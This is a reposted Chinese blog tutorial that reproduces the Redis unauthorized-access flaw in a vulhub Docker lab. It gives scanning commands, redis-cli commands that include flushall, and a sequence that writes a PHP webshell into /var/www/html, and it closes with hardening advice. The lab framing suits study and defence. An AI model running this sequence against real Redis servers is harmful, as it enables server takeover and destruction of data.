博客
关于我
Redis未授权访问漏洞
阅读量:367 次
发布时间:2019-03-05

本文共 894 字,大约阅读时间需要 2 分钟。

Redis漏洞复现

Redis概述

Redis是一款开源的数据库系统,使用ANSI C编写,支持网络访问且可存储在内存中。它支持多种数据类型,包括字符串、列表、集合、有序集合和哈希,且所有操作均为原子性。Redis默认使用6379端口,支持主从复制和持久化存储。

Redis漏洞分析

Redis的主要漏洞之一是未授权访问,这通常由配置不当引发。攻击者可能利用这个漏洞绕过身份验证,直接访问Redis服务。在某些情况下,如果Redis以root身份运行,攻击者可将SSH公钥写入文件,进而通过SSH登录并造成严重后果。

Redis漏洞复现步骤

准备阶段

  • 部署Redis环境

    使用Docker运行Redis,执行以下命令:

    cd /vulhub/redis/4-unacdocker-compose up -d
  • 端口扫描

    使用masscan扫描靶机开放的端口:

    masscan 192.168.41.139 -p 1-10000 --rate 100000

    检查发现6379端口开放,进一步使用nmap获取Redis信息:

    nmap -A -p 6379 --scripts redis-info 192.168.41.139
  • 未授权登录

  • 连接Redis

    使用Redis客户端从攻击机连接靶机:

    redis-cli -h 192.168.41.139 info

    查看Redis信息并执行操作,如keys *get keyflushalldel key

  • 获取敏感数据

    通过Redis操作获取数据库信息,例如删除所有数据或获取特定键的值。

  • 写入WebShell

  • 注入WebShell
    在指定的Web目录中写入木马代码:
    config set dir /var/www/htmlset xxx "\n\n\n
    \n\n\n"config set dbfilename shell.phpsave

    通过工具连接即可控制服务器。

  • 注意事项

    • Redis默认配置为本地访问,需检查防火墙设置防止公网访问。
    • 配置Redis时应启用认证,避免未授权访问。
    • 定期备份Redis数据并进行安全审计。

    转载地址:http://shog.baihongyu.com/

    你可能感兴趣的文章
    gRPC在 ASP.NET Core 中应用学习(一)
    查看>>
    @SuppressWarnings 用法
    查看>>
    看完你就明白的锁系列之锁的状态
    查看>>
    看完这篇操作系统,和面试官扯皮就没问题了
    查看>>
    我的价值观
    查看>>
    一文详解 Java 并发模型
    查看>>
    值类型与引用类型(中)
    查看>>
    MSSQL 2005 数据库变成可疑状态
    查看>>
    QBlog V2.5 源码开放下载(ASP.NET 番外系列之开端)
    查看>>
    秋色园引发CPU百分百命案的事件分析与总结
    查看>>
    安装jdk并配置环境变量
    查看>>
    稀疏数组
    查看>>
    js的严格模式
    查看>>
    idea的安装和无限期试用
    查看>>
    Oracle VM VirtualBox安装PVE虚拟机
    查看>>
    【转】如何用css限制文字长度,使溢出的内容用省略号…显示
    查看>>
    Android MediaPlayer setDataSource failed
    查看>>
    [Vue 牛刀小试]:第十二章 - 使用 Vue Router 实现 Vue 中的前端路由控制
    查看>>
    ASP.NET Core 实战:Linux 小白的 .NET Core 部署之路
    查看>>
    【nodejs原理&源码杂记(8)】Timer模块与基于二叉堆的定时器
    查看>>